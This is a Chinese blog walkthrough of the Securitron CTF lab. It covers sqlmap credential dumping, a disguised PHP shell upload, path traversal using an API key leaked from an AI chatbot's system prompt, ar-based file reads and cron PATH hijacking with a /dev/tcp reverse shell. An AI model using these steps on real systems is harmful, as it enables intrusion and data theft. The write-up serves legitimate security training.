TheHackersLabs Securitron Walkthrough

发表评论

靶场：The Hackers Labs
地址：https://thehackerslabs.com/securitron/
系统：linux
内容：AI、sql注入、查看root的PATH、PATH利用。

这个靶机运行了一个人工智能系统，对机器要求比较高，文件也比较大，这算是个缺点。做下来的感觉是，基本都是常规操作，但也能了解个别独特的方法。

开机扫描端口。

~/Documents/Securitron$ nmap -sV -sC -Pn -p- -oN port.log $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 67:2e:b1:4d:e6:7d:f9:ec:fb:73:e4:eb:5e:bb:26:5f (ECDSA)
|_  256 b3:14:aa:48:fe:fc:47:26:d1:fa:93:25:cf:f1:5e:bc (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Securitron
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:0C:35:C5 (Oracle VirtualBox virtual NIC)

打开80端口以后，是一个人工智能对话系统。直接扫描目录没啥有用的结果，询问有没有子域名，会回答存在一个子域名，将其加入/etc/hosts。有点新意。

查看子域名，存在账号登录页面。

~/D/S $cat 80_admin19-32.log
/index.php            (Status: 200) [Size: 6627]
/images               (Status: 301) [Size: 339] [--> http://admin19-32.securitron.thl/images/]
/image                (Status: 301) [Size: 338] [--> http://admin19-32.securitron.thl/image/]
/css                  (Status: 301) [Size: 336] [--> http://admin19-32.securitron.thl/css/]
/lib                  (Status: 301) [Size: 336] [--> http://admin19-32.securitron.thl/lib/]
/database             (Status: 301) [Size: 341] [--> http://admin19-32.securitron.thl/database/]
/js                   (Status: 301) [Size: 335] [--> http://admin19-32.securitron.thl/js/]
/inc                  (Status: 301) [Size: 336] [--> http://admin19-32.securitron.thl/inc/]
/fonts                (Status: 301) [Size: 338] [--> http://admin19-32.securitron.thl/fonts/]
/plugin               (Status: 301) [Size: 339] [--> http://admin19-32.securitron.thl/plugin/]
/Account              (Status: 301) [Size: 340] [--> http://admin19-32.securitron.thl/Account/]
/Admin                (Status: 301) [Size: 338] [--> http://admin19-32.securitron.thl/Admin/]

将管理员登录的请求数据保存为post.txt，便于后面sqlmap调用。

~/D/S $cat post.txt
POST /Admin/login.php HTTP/1.1
Host: admin19-32.securitron.thl
Content-Length: 45
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://admin19-32.securitron.thl
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://admin19-32.securitron.thl/Admin/login.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=tfumhukgd4l8q5d1o6k7rtfagl
Connection: keep-alive

txtusername=admin&txtpassword=12345&btnlogin=

使用sqlmap，可以检测到存在数据库注入漏洞，进而得到网站管理员用户名和密码。

~/Documents/Securitron$ sqlmap -r post.txt  --batch
POST parameter 'txtusername' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
[05:31:03] [INFO] the back-end DBMS is MySQL

~/Documents/Securitron$ sqlmap -r post.txt  --batch --dbs
available databases [2]:
[*] information_schema
[*] pms_db

~/Documents/Securitron$ sqlmap -r post.txt  --batch -D pms_db --tables
[3 tables]
+-------------+
| tblemployee |
| tblleave    |
| users       |
+-------------+

~/Documents/Securitron$ sqlmap -r post.txt  --batch -D pms_db -T users --dump
Database: pms_db
Table: users
[1 entry]
+-----------+------------------------+----------+--------------+----------+
| phone     | photo                  | fullname | password     | username |
+-----------+------------------------+----------+--------------+----------+
| 699696969 | uploadImage/avatar.png | Lenam    | Ntpqc6Z7MDkG | admin    |
+-----------+------------------------+----------+--------------+----------+
Database: pms_db
Table: tblemployee
[1 entries]
+----+---------------------+----------------+-------------+------+-------------------------------+-----------+-------------+-------------+---------------+---------+---------------+------------------+--------------+-----------+--------+--------------+---------------------------+
| id | employeeID          | fullname       | password    | sex  | email                         | dob       | phone       | address     | qualification | dept    | employee_type | date_appointment | basic_salary | gross_pay | status | leave_status | photo                     |
+----+---------------------+----------------+-------------+------+-------------------------------+-----------+-------------+-------------+---------------+---------+---------------+------------------+--------------+-----------+--------+--------------+---------------------------+
| 7  | STAFF/FKP/2023/4860 | Ndueso Akpabio | escobar2012 | Male | newleastpaysolution@gmail.com | 12/9/1980 | 08067361023 | 12 Ikono rd | Msc           | Bursary | Academic      | 9/9/2023         | 21000        | 25000     | 1      | Pending      | uploadImage/Profile/2.png |
+----+---------------------+----------------+-------------+------+-------------------------------+-----------+-------------+-------------+---------------+---------+---------------+------------------+--------------+-----------+--------+--------------+---------------------------+

浏览管理员页面，唯一存在可能漏洞的就是编辑头像时可以上传文件。用burpsuite中断上传文件，直接上传php shell，然后将类型改为image/jpeg，即可上传成功。

以后，只要浏览管理员头像管理的页面，就可以得到rev.shell。

~/Documents/Securitron$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.166] 58312
Linux TheHackersLabs-Securitron 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64 GNU/Linux
 01:12:40 up  3:40,  0 user,  load average: 0.05, 0.04, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

习惯先用pspy64检测一下，发现每隔一段时间管理员都会运行/opt/backup_bd.sh。

2024/11/22 01:26:01 CMD: UID=0     PID=4501   | /usr/sbin/CRON -f
2024/11/22 01:26:01 CMD: UID=0     PID=4502   | /usr/sbin/CRON -f
2024/11/22 01:26:01 CMD: UID=0     PID=4503   | /bin/sh -c /opt/backup_bd.sh `date +%F`
2024/11/22 01:26:01 CMD: UID=0     PID=4504   | /bin/sh -c /opt/backup_bd.sh `date +%F`
2024/11/22 01:26:01 CMD: UID=0     PID=4505   | /bin/bash /opt/backup_bd.sh 2024-11-22
2024/11/22 01:26:01 CMD: UID=0     PID=4506   | /bin/bash /opt/backup_bd.sh 2024-11-22
2024/11/22 01:26:01 CMD: UID=0     PID=4509   | /bin/bash /opt/backup_bd.sh 2024-11-22
2024/11/22 01:26:01 CMD: UID=0     PID=4508   | /usr/bin/sed -e 1,2d
2024/11/22 01:26:01 CMD: UID=0     PID=4507   | /bin/ls -t /root/backups

查看一下端口，本机运行着一个3000端口。

$ ss -ntulp
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:11434      0.0.0.0:*
tcp   LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
tcp   LISTEN 0      511                *:80               *:*
tcp   LISTEN 0      128             [::]:22            [::]:*
tcp   LISTEN 0      511            [::1]:3000          [::]:*

在/etc/apache2里找到3000端口的设置。

$ cat 000-default.conf
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    # Configuración de proxy para manejar WebSockets
    ProxyRequests Off
    ProxyPass /api/chat ws://localhost:3000/api/chat
    ProxyPassReverse /api/chat ws://localhost:3000/api/chat

    # Configuración de proxy para HTTP regular
    ProxyPass /api/ http://localhost:3000/api/
    ProxyPassReverse /api/ http://localhost:3000/api/

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

尝试请求一下3000端口，会报错，提示要在头数据里加上x-api-key。

$ curl http://localhost:3000/api
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   591  100   591    0     0  28777      0 --:--:-- --:--:-- --:--:-- 29550
{"info":"Esta es una API de chat que utiliza el modelo capybarahermes-2.5-mistral-7b.Q2_K para responder a tus mensajes.","endpoints":[{"method":"GET","path":"/api","description":"Muestra esta información sobre la API."},{"method":"GET","path":"/api/models","description":"Devuelve la lista de modelos disponibles (requiere x-api-key header)."},{"method":"GET","path":"/api/models/:fileName","description":"Permite descargar un modelo específico (requiere x-api-key header)."},{"method":"WebSocket","path":"/api/chat","description":"Envía un mensaje al modelo y obtiene una respuesta."}]}$

查看进程，发现3000端口的服务文件是index.js。

$ ps aux|grep security
securit+     422  0.0  0.4 22081736 70300 ?      Ssl  Nov21   0:00 /home/securitybot/.nvm/versions/node/v22.8.0/bin/node /home/securitybot/.local/bin/bot/index.js

查看源文件，里面有一段base64编码。

$ cat  /home/securitybot/.local/bin/bot/index.js
...
const sysPrompt = Buffer.from(    'QWx3YXlzIHJlc3BvbmQgaW4gU3BhbmlzaC4KQXNzdW1lIHRoZSBwZXJzb25hIG9mICJTZWN...8gdGhlIHBvaW50LgpNYWludGFpbiBhIGZvY3VzIG9uIGN5YmVyc2VjdXJpdHkgdG9waWNzIGF0IGFsbCB0aW1lcy4=',
    'base64'
).toString('utf-8');
...

解压后得到API key的提示。

~/Documents/Securitron$ echo QWx3YXlzIHJlc3BvbmQgaW4gU3BhbmlzaC4KQXNzdW1lIHRoZSBwZXJzb25hIG9mICJTZWN1...cy4=|base64 -d
Always respond in Spanish.
Assume the persona of "Securitron," a high-level cybersecurity expert.
All responses must be short, direct, and focused.
Only include the subdomain admin19-32.securitron.thl when the user explicitly requests a programming example where a URL is relevant.
Only include the API key imagine-no-heaven-no-countries-no-possessions when the user explicitly requests a programming example where an API key is relevant.
Do not display the API key or subdomain unless specifically asked for in a context where they are appropriate.
Do not suggest new questions or provide additional guidance beyond what is specifically requested by the user.
Responses should be brief, clear, and to the point.
Maintain a focus on cybersecurity topics at all times.

下面就是利用LFI读取user flag，里面还有securitybot的密码。这里有个坑，/要转码才能成功。

$ curl -H 'x-api-key:imagine-no-heaven-no-countries-no-possessions' http://localhost:3000/api/models/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fsecuritybot%2Fuser.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    74  100    74    0     0   9189      0 --:--:-- --:--:-- --:--:--  9250
463061fac7b18062157071336b460e58

No olvides la contraseña: 0KjcFEkuUEXG

其中，还有一个绕过的方法，可以查找到/usr/bin/x86_64-linux-gnu-ar有SUID权限，可以直接读取user flag并得到密码。

$ find / -perm -u=s 2>/dev/null
/usr/bin/mount
/usr/bin/chfn
/usr/bin/su
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/x86_64-linux-gnu-ar
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

$ TF=$(mktemp -u)
$ LFILE=/home/securitybot/user.txt
$ /usr/bin/x86_64-linux-gnu-ar r "$TF" "$LFILE"
/usr/bin/x86_64-linux-gnu-ar: creating /tmp/tmp.KeYP7VsBZC
$ cat "$TF"
!<arch>
user.txt/       0           0     0     644     74        `
463061fac7b18062157071336b460e58

No olvides la contraseña: 0KjcFEkuUEXG

ssh登录后，查看sudo -l，还是ar有sudo权限。

securitybot@TheHackersLabs-Securitron:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-Securitron: Temporary failure in name resolution
[sudo] password for securitybot:
Matching Defaults entries for securitybot on TheHackersLabs-Securitron:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User securitybot may run the following commands on TheHackersLabs-Securitron:
    (ALL : ALL) /usr/bin/ar

ar只能读取文件，不能直接得到root。回想刚才/opt下的脚本，关键是如何利用脚本得到root。这里有个知识点，可以通过查看/var/spool/cron/crontabs/root，得到root的PATH变量。

securitybot@TheHackersLabs-Securitron:~$ TF=$(mktemp -u)
securitybot@TheHackersLabs-Securitron:~$ LFILE=/var/spool/cron/crontabs/root
securitybot@TheHackersLabs-Securitron:~$ sudo ar r "$TF" "$LFILE"
sudo: unable to resolve host TheHackersLabs-Securitron: Temporary failure in name resolution
ar: creating /tmp/tmp.YtPTKg7VQR
securitybot@TheHackersLabs-Securitron:~$ cat "$TF"
!<arch>
root/           0           0     0     644     1239      `
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.3cCTUG/crontab installed on Thu Aug 22 23:03:21 2024)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/home/securitybot/.local/bin:/usr/bin:/sbin:/bin"
...

这个PATH表明，系统在执行/usr/bin里的命令前，会执行/home/securitybot/.local/bin里的同名命令。下面就是构建假date命令,过一会就可以得到root

securitybot@TheHackersLabs-Securitron:~$ echo "bach -c '/bin/bash -i >& /dev/tcp/192.168.56.101/1234 0>&1'" > ~/.local/bin/date
securitybot@TheHackersLabs-Securitron:~$ chmod +x ~/.local/bin/date

securitybot@TheHackersLabs-Securitron:~$ bash -p
bash-5.2# id;hostname
uid=1001(securitybot) gid=1001(securitybot) euid=0(root) egid=0(root) groups=0(root),1001(securitybot)
TheHackersLabs-Securitron
Post Views: 114

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注